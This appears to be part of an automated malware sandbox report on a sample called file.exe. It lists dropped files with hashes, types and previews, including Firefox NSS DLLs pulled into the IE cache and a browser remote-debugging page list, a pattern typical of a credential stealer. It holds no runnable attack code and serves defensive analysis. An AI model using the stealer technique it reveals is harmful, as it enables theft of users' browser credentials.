Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730238206628496}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\dbb2aa59-b73c-47b5-a8ad-5950b17adb8c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45876
Entropy (8bit):	6.087689152172171
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQg197d5uthDO6vP6O2L7dxOB6wyccpYL+CAoXGoup1Xl3jVzXrP:mMk1rT8HV97z6WF4cp1RoXhu3VlXr4Y
MD5:	A0273C4C4718C67A9C7F1F95DA5FA7A2
SHA1:	E381DCF8DDE220AE5BBC45CC7DE0F4B717197BE2
SHA-256:	6D781206A24E15F9F26F4324AC68CEA22EEF2F20AA031FAAC3D933A7C2A45188
SHA-512:	42F61B89DB56B071390A4A5D64BC568B10C87C391F59626978A05BEB881EE93B877F7094E9AFCCFB97556AE2402D6C596BAA93EF5EF4152D961DCC73EBEA510C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8469451381820625
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx3nyxl9Il8uFulOGe30g3vfzPsu9DIWHeupd1rc:m8WY6lOf30g3v4CNa
MD5:	61528340F804F1ECF943330622387DEA
SHA1:	F8E70AC46A3E3A0AA437CF9CC37E11754EBEEB6C
SHA-256:	AB906592B46C470C04F3BBC845946F9EC3E4CEA677CFCBE9FAFB25F39B7AE904
SHA-512:	2D5DB657B50B8A8CC323DA43E46AC85F0535D25DF3F8222E328B7BCF6ABC7FDB676D64F5574BEF6BF69CF13F15B913CD82B2BCB3CAA3D2B4CF8665C130B1BA4B
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.N.v.7.R.W.k.p.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.f.1.u.o.R.0.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.002648720778335
Encrypted:	false
SSDEEP:	48:uiTrlKxExELyxD9Il8uFul+sQ4uYhD/Wg1zcX8CNT1JjHoea7NS7j0Rq4EVeMS2s:wLMY6lxQ4hDegxM8CdjHoepQaKoKx
MD5:	71A938ED36DC0227F27BE6A2F508647C
SHA1:	8FBB0E555E38ED128920F084D91B93797FC1172C
SHA-256:	10F9C11E9CF69B2CD01FF07B7EF4B93F1DC94F71B13DFE3A5E35EDF4EBF29DD0
SHA-512:	2525ACD6021548DA19D779D18153E3423687DD449851730CD9830DD1E89D00C42131853E182DED3857AA9F4BFB0A30536B2A4DE4A965B246CB3552E55B80CCF2
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".1.N./.S.K.2.E.p.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.f.1.u.o.R.0.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9005274677745785
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xBxl9Il8uFulB2UdyE9WXeUHEyu58r6jvtcXYN3RVd/vc:afY6lBYE9WXeUHED58mOYNRU
MD5:	7440A1A27533C714A14AAD384570ABDF
SHA1:	5B6E1041F6D14E8BA6DD31EBCFE073CDD2A88FD1
SHA-256:	B1ADA5A2CC34B36F9612505D6E8B2A565F154FA11F82121EC970909F24DF0F25
SHA-512:	14C962AF105FCF3E01228A90A6F9FF8C12BC137ED2D96F7B7AC6C381B95696726BB0499262CDF4902C01CEEEACE4ADBE4F0ABFBDB4E323D679941AE82C0DB725
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".F.U.E.C.X.D.J.I.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.f.1.u.o.R.0.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.391907011781618
Encrypted:	false
SSDEEP:	96:6NnQSHQnNnQWLbQbNnQKVD9QNNnQRdgEQxNnQoQkNnQsDQHNnQMwQzNnQ73QW:6NYN6N4NwoNPNBgN7fNm
MD5:	784176211600A0A40ACA2DC472F7C7C5
SHA1:	E58F92F9C6DFEFDE1B1BD1817A7A6503F66682CC
SHA-256:	F366CE4AD83F0105D5EE2422B663E7F186A4E1D6AC31A33F9D81CA954BC0F179
SHA-512:	D73E5EEB629FA4971FE5DA4D8ED377E8F31E5920EF0A9E22F9DA8B47DDD868C012A8B4F02F9522AFA80E83861E8B116CFD598E525C6C5F1A3738EF7B9A06BD3E
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/015A2CDE67B9B546F658BC3479E5160D",.. "id": "015A2CDE67B9B546F658BC3479E5160D",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/015A2CDE67B9B546F658BC3479E5160D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/16492B8E8F94978F62F156F2F0E9F7EB",.. "id": "16492B8E8F94978F62F156F2F0E9F7EB",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/16492B8E8F94978F62F156F2F0E9F7EB"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.370648075567718
Encrypted:	false
SSDEEP:	48:SfNaoQ/XBTEQ/ffNaoQYmrmBQYmkfNaoQmUPQm9fNaoQxQb0UrU0U8Qh:6NnQ/XBTEQ/3NnQYAcQYnNnQVQMNnQxp
MD5:	0D3EB1A321A62F3C3900B210739EDF51
SHA1:	2254B9B7CAC0201588333C075C81DF53A22FE020
SHA-256:	506E68A76D770B2A2F7B40E5FBEA27F9A7BA3D292A0567093D0F624168E3F43E
SHA-512:	2716A2EC65D039D4A47D79ACE6F51DFDCE7B4E19E08E437A6B0024703C464B1D168D3EEFAE99F9C218105DC3047D0DAF700B0111C702F451E0E30589C0247A88
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/76160EAF54EE66BFA1D627BA35FECA06",.. "id": "76160EAF54EE66BFA1D627BA35FECA06",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/76160EAF54EE66BFA1D627BA35FECA06"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/23960247D2033FDABB244A7AA3CCD444",.. "id": "23960247D2033FDABB244A7AA3CCD444",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/23960247D2033FDABB244A7AA3CCD444"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\27b8169f-c2ad-4f3d-a755-31c800048220.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\2ccb66fe-5f7f-4f6e-9b0e-0cf50e3ee9f5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\4c3a7376-f9c3-4bf8-a01c-ba171b52f77d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\6ba83791-90a6-45be-9abf-dc19e239877f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
